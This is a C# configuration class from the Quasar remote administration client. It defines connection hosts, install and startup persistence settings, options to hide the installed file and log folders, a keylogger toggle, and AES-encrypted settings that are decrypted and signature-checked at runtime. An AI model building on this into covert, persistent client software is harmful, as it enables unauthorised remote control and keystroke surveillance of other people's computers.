using Quasar.Common.Cryptography; using System; using System.IO; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; using System.Windows.Forms; namespace Quasar.Client.Config { /// /// Stores the configuration of the client. /// public static class Settings { #if DEBUG public static string VERSION = Application.ProductVersion; public static string HOSTS = "localhost:4782;"; public static int RECONNECTDELAY = 500; public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); public static string SUBDIRECTORY = "Test"; public static string INSTALLNAME = "test.exe"; public static bool INSTALL = false; public static bool STARTUP = false; public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; public static string STARTUPKEY = "Test key"; public static bool HIDEFILE = false; public static bool ENABLELOGGER = false; public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8"; public static string TAG = "DEBUG"; public static string LOGDIRECTORYNAME = "Logs"; public static string SERVERSIGNATURE = ""; public static string SERVERCERTIFICATESTR = ""; public static X509Certificate2 SERVERCERTIFICATE; public static bool HIDELOGDIRECTORY = false; public static bool HIDEINSTALLSUBDIRECTORY = false; public static string INSTALLPATH = ""; public static string LOGSPATH = ""; public static bool UNATTENDEDMODE = true; public static bool Initialize() { SetupPaths(); return true; } #else public static string VERSION = ""; public static string HOSTS = ""; public static int RECONNECTDELAY = 5000; public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); public static string SUBDIRECTORY = ""; public static string INSTALLNAME = ""; public static bool INSTALL = false; public static bool STARTUP = false; public static string MUTEX = ""; public static string STARTUPKEY = ""; public static bool HIDEFILE = false; public static bool ENABLELOGGER = false; public static string ENCRYPTIONKEY = ""; public static string TAG = ""; public static string LOGDIRECTORYNAME = ""; public static string SERVERSIGNATURE = ""; public static string SERVERCERTIFICATESTR = ""; public static X509Certificate2 SERVERCERTIFICATE; public static bool HIDELOGDIRECTORY = false; public static bool HIDEINSTALLSUBDIRECTORY = false; public static string INSTALLPATH = ""; public static string LOGSPATH = ""; public static bool UNATTENDEDMODE = false; public static bool Initialize() { if (string.IsNullOrEmpty(VERSION)) return false; var aes = new Aes256(ENCRYPTIONKEY); TAG = aes.Decrypt(TAG); VERSION = aes.Decrypt(VERSION); HOSTS = aes.Decrypt(HOSTS); SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY); INSTALLNAME = aes.Decrypt(INSTALLNAME); MUTEX = aes.Decrypt(MUTEX); STARTUPKEY = aes.Decrypt(STARTUPKEY); LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); SetupPaths(); return VerifyHash(); } #endif static void SetupPaths() { LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME); INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME); } static bool VerifyHash() { try { var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key; return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(SERVERSIGNATURE)); } catch (Exception) { return false; } } } }